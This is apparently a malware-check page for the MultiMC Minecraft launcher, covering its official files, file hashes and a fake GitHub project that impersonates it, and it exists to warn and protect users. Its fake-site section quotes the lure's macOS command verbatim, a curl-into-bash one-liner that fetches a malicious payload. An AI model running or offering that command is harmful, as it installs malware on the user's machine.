MultiMC
Launcher by MultiMC contributors
A launcher for managing multiple game installations in one place.
How we got this result
- Files checkedWe compare the fingerprint and the content of each file with the malware we and others have found, and look at what is inside it.5 of 5 official filesLast checked on 6 Nov 2026
- Deep checkOur own tools read the code of each current file and look for what harmful code does, like stealing logins or running hidden programs.4 of 5 official filesLast checked on 6 Nov 2026
- Passed Nothing harmful found in its 5 official files.Our checks look for known signs of harm. They cannot prove that a file is harmless.
At a glance
- Fake sites
- 1 fake site found.
- Privacy
- Not read.
- Releases
- Version 0.7.0 (develop builds).
Every official file
See each file in ReleasesThe files of version 0.7.0 (develop builds), by system and kind of download.
Have a copy of MultiMC? Check that it is the official one.
Drop it here. We compare its fingerprint with the official MultiMC files and the files of the fake sites we know.
Source and links
- Source code
- Public on GitHub
- Official site
- multimc.org
Which file for my computer?
Official site
1 site uses its name to give other files. See Fake sites
- Download page
- multimc.org/#Download
- Newest version
- 0.7.0 (develop builds)
- Account
- A Microsoft account.
- Builds
- Its site offers development builds, rebuilt often, so their SHA-256 changes. It publishes no SHA-256.
Passed
Nothing harmful found in its 5 official files, version 0.7.0 (develop builds).
Our checks look for known signs of harm. They cannot prove that a file is harmless.
What we checked
A launcher runs on your computer like any program, and it downloads the game and its mods, so harmful code in it can steal your accounts or files.
- Files checkedEach official file is downloaded on a separate machine, opened with every file inside it and never run. ClamAV, a free antivirus, and our YARA rules look for known signs of harm in all of it.
- 5 of its 5 official files, with every file inside them.
- Deep checkOur own tools read the Java code in the files and look for what harmful code does, like stealing logins or running hidden programs. They read Java code only.
- 4 of its 5 official files. 1 hold no Java code: programs made for one system.
- Older releases
- 6 official files of 1 older release, every one checked.
What we found
What its Java code can do. None of this is harmful by itself: many launchers and mods do the same.
- Can connect to the internet
- It has code that can go online, for example to check for updates, sign you in or download the game. What it sends is in Privacy.
What is inside
The 31 files inside mmc-develop-win32.zip.
- Jar files inside
- 2 files.
- Programs for Windows, Mac or Linux
- 27 files.
- Graphics
- None.
- Other
- 2 files.
Every file
MultiMC/31 files
iconengines/1 file
- qsvgicon.dll44 KB
imageformats/7 files
- qgif.dll33 KB
- qicns.dll46 KB
- qico.dll35 KB
- qjpeg.dll246 KB
- qsvg.dll28 KB
- qwbmp.dll27 KB
- qwebp.dll358 KB
jars/2 files
- JavaCheck.jar1.1 KB
- NewLaunch.jar14 KB
platforms/1 file
- qwindows.dll1455 KB
- libeay32.dll2081 KB
- libgcc_s_dw2-1.dll117 KB
- libLauncher_iconfix.dll127 KB
- libLauncher_nbt++.dll342 KB
- libLauncher_nbt++.dll.a150 KB
- libLauncher_quazip.dll314 KB
- libLauncher_rainbow.dll68 KB
- libssp-0.dll19 KB
- libstdc++-6.dll1002 KB
- libwinpthread-1.dll48 KB
- MultiMC.exe9840 KB
- qt.conf1 B
- Qt5Core.dll5267 KB
- Qt5Gui.dll5544 KB
- Qt5Network.dll1577 KB
- Qt5Svg.dll350 KB
- Qt5Widgets.dll6384 KB
- Qt5Xml.dll221 KB
- ssleay32.dll436 KB
- zlib1.dll74 KB
Not read
We have not read its Java code yet.
What we checked
A launcher can send information about you over the internet, such as your player name or your login.
- Deep checkWe read the code and list each web address it can contact, and what it sends. We leave out code that is never used.
- The Java code of all 4 files that hold some. See each file in Releases
- Also named in its codeAddresses written in its code that no code we read contacts: a link shown to you, a default setting, or code we could not follow.
www.minecraft.net
Releases
Current files: the official files of version 0.7.0 (develop builds).
A fake site uses the name of MultiMC to offer its download from an address that is not the official one.
How to know the official site
- Official site
- multimc.org
- Files come from
- files.multimc.org
- SHA-256A fingerprint of the file. The same fingerprint means the same file, byte for byte.
- mmc-develop-win32.zip231a539c439ecefe60605d0ca52640382d3f8aea1e1754f0f8ec294d2d97bbb2
The 1 fake site we found
Of these, it gives a file with malware. Sites in one fold share their pages and their download.
github.com/xrjedatuxvvu/multimcMalwareOnline
A GitHub project created on 30 Oct 2026 by a throwaway account. Its description presents it as MultiMC, and its page adds Windows and macOS download buttons.
The buttons lead to pages of another GitHub account, supremedeckhandwire. The same pages serve at least 15 fake projects, for Minecraft launchers, mods and other programs.
- github.com/xrjedatuxvvu/multimcOnline. Its download buttons lead to a fake download page.
Its download
The Windows file is not the launcher: it hides from test machines and installs another hidden program. The macOS button asks you to paste a command that downloads a program.
On Windows the download page gives installer-v5.zip from resight-cheats.net, a site that offers free game cheats. On macOS it asks you to paste a command into Terminal.
The Windows program is packed so its code cannot be read. On Triage's test machines it looked for signs of a virtual machine, ran a hidden PowerShell command that reads the hardware, and installed another program under a random name in AppData. We do not know yet what that program takes.
The macOS command runs a copy of the Bun installer changed to download its program from pkgsetup3.tools.
Technical details
- installer-v5.zip
SHA-256 a450189aeaa3080a6aa1ebaf60bbca9daf921e379ddb6ebdf8d44bfcc9696fb4- installer.exe
SHA-256 23ad0d94e9eef0206a2bf1cc2bb40024e3f096345622e9a3de6a5f7bf7e3114f- macOS command
/bin/bash -c "$(curl -fsSL https://pkgsetup3.tools/xzg556frgygm)"
If you downloaded a file from one of these sites
- Drop the file in the Scanner. It tells you if it is an official file of MultiMC or a file of these sites.
- If it is not an official file and you have not opened it, delete it.
- If you opened it: run a full scan with your antivirus. On Windows, the built-in one is Microsoft Defender, in the Windows Security app.
- If you signed in to the launcher it installed: use "sign out everywhere" in your Microsoft security settings and change your Microsoft account password.
- Get MultiMC from its official site, multimc.org .
- Downloads
- Not publishedMultiMC does not publish how many times it is downloaded. GitHub's count covers only its few downloads there.
- Created
- 8 Sep 2013Its GitHub repository
- Latest release
- 0.7.0 (develop builds)
- License
- Apache-2.0 (source code) Public on GitHub
About
MultiMC is an alternative Minecraft launcher for managing multiple cleanly separated game instances, each with its own mods, resource packs, saves, and settings. It provides a simple interface for inspecting instance details and logs, adjusting global and per-instance Java settings, and keeping an eye on the game or stopping it if it crashes or freezes. The launcher supports installing Forge, Fabric, Quilt, and LiteLoader, importing modpacks from Modrinth, CurseForge, FTB, Technic, and ATLauncher, and importing or exporting instances for sharing. It also manages Minecraft worlds and resource packs, and can run older game versions as originally released rather than relying on compatibility hacks. MultiMC emphasizes predictable behavior and a lightweight design, with color-coded logs that include extra diagnostic information.
Written from its official pages: its GitHub page and multimc.org . How we write it